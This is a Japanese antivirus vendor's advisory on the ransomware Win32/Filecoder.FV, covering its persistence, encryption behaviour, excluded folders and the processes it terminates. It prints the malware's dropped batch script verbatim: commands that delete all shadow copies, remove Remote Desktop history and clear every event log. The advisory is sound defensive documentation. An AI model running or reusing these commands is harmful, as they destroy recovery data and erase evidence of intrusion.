Win32/Filecoder.FV

公開日:2017年09月20日

危険度:2

定義名称 Win32/Filecoder.FV
シグネチャ検査による結果だった場合 Win32/Filecoder.FV
別名 Trojan-Ransom.Win32.Blocker.kfgf(Kaspersky)、Trojan.Encoder.11539(Dr.Web)、Ransom:Win32/Ergop.A(Microsoft)、Ransom.CryptXXX(Symantec)
種別 トロイの木馬、ランサムウェア
アドバンスドヒューリスティック検査による結果だった場合 このオリジナルのトロイを利用した新種、亜種が検出された場合は、「NewHeur_PE」もしくは「Win32/Filecoder.FVの亜種 トロイの木馬」という名称で警告が出ます。
対応時期 バージョン14758(20170112)以降
影響を受けるプラットフォーム Microsoft Windows
概要 このトロイの木馬はローカルドライブのファイルを暗号化します。ファイルを復号するため、ユーザーに情報の提供や電子決済サービスのBitcoin経由での入金を要求します。詳しい活動内容については、下記をご参照ください。

検出した場合の対処方法

常駐監視を行っている各検査プログラムによって検出された場合は、駆除もしくは削除を行ってください。駆除もしくは削除ができない場合は、Windows のシステムの復元により修復しなければならない可能性があります。

対象のファイルが身に覚えのないファイル名の場合は、そのファイル自身がウイルスそのものである可能性が高いので、駆除ではなくすべて削除をしてください。これにより2次感染、3次感染を防げます。また、自分が作成したデータ等に感染していた場合は、駆除が可能な場合もありますが、駆除のボタンが押せない状態もしくは駆除しても失敗する場合は、すでに元のデータの戻せない状態までデータが書き換えられている場合もあります。この場合もすべて削除してください。

解説での表記(用語)について

以下の説明文では、環境変数を利用して各ファイルやディレクトリへのパスを表記しています。

例:
%windir% : Windowsオペレーティングシステムがインストールされたディレクトリのパス(インストール時の設定により異なる場合があります)。
%system% : %windir% のサブディレクトリである"System"や"System32"のパス。
%malwarefilepath% : マルウェアプログラムまでのパス。
%malwarefilename% : マルウェアプログラムまでのファイル名。

その他に関しては、以下のページも参考にしてください。
Microsoft Malware Protection Center - Malware help
Common Folder variables

解説

侵入(インストレーション)について

このトロイの木馬は、実行時に自身を次の場所にコピーします。

%allusersprofile%\%malwarefilename%

システムが起動するたびに実行されるよう、次のレジストリーエントリーを設定します。

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"CertificatesCheck" = "%malwarefilepath%"

ペイロード情報

このトロイの木馬はローカルドライブのファイルを暗号化します。

次の拡張子を持つファイルを探します。

*.*

次のディレクトリ内のファイルは暗号化しません。

Avast
AVG
Avira
Chrome
Common Files
COMODO
Dr.Web
ESET
Internet Explorer
Kaspersky Lab
McAfee
Microsoft
Microsoft Help
Microsoft Shared
Microsoft.NET
Movie Maker
Mozilla Firefox
ntldr
NVIDIA Corporation
Opera
Outlook Express
ProgramData
spytech software
Symantec
Symantec_Client_Security
sysconfig
system volume information
Temp
Windows
Windows App Certification Kit
Windows Defender
Windows Kits
Windows Mail
Windows Media Player
Windows Multimedia Platform
Windows NT
Windows Phone Kits
Windows Phone Silverlight Kits
Windows Photo Viewer
Windows Portable Devices
Windows Sidebar
WindowsPowerShell
Wsus
YandexBrowser

目的のファイルを見つけたら、そのコンテンツを暗号化します。

暗号化ファイルの拡張子は次のように変更されます。

%filepath%.crypt

暗号化にはRSAとDESのアルゴリズムが使用されます。

ファイルを復号するため、ユーザーに情報の提供や電子決済サービスのBitcoin経由での入金を要求します。

ドライブを検索する際、アクセスしたすべてのフォルダーに次のファイルを作成します。

how_to_back_files.html

このファイルには次のテキストが記述されています。

その他の情報

このトロイの木馬は、次のファイルを作成します。

%temp%\__t%variable%.tmp.bat

%variable%には可変の文字列が入ります。

このファイルには次のテキストが記述されています。

@echo off
vssadmin.exe Delete Shadows /All /Quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

このファイルを実行します。

名前に次の文字列のいずれかが含まれているプロセスを終了させます。

sql
outlook
ssms
postgre
1c
excel
word